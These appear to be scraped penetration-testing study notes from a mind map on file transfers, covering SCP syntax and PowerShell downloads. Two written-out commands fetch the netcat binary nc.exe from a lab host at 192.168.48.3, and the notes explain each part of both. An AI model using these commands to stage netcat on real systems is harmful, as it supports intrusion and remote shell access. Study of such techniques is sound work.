Please enable JavaScript.
Coggle requires JavaScript to display documents.
File Transfers - Coggle Diagram
File Transfers
Transfer Techniques
-
-
SCP
The syntax for scp is very similar to the cp command, except the location of the file will contain the remote username and IP address in a username@remote-host's IP:remote-file-path format.
-
-
-
Windows File Transfers
-
-
PowerShell
-
It is a powerful scripting language and shell that provides access to system management and configuration tasks, file manipulation, and network operations.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.48.3/nc.exe', 'nc.exe')
(New-Object System.Net.WebClient): Creates a new instance of the WebClient class, which is a simple way to handle web requests in PowerShell. It's used here to download the file..DownloadFile('http://192.168.48.3/nc.exe', 'nc.exe'): This method downloads the file from the provided URL (http://192.168.48.3/nc.exe) and saves it as nc.exe in the current directory (nc.exe).
Invoke-WebRequest -URI http://192.168.48.3/nc.exe -OutFile nc.exe
Invoke-WebRequest: A cmdlet in PowerShell used to send HTTP requests to a specified URI. It's commonly used for downloading files, sending web requests, or interacting with REST APIs.
-
-OutFile nc.exe: The location and filename where the downloaded content will be saved locally. In this case, the file will be saved as nc.exe in the current directory.
-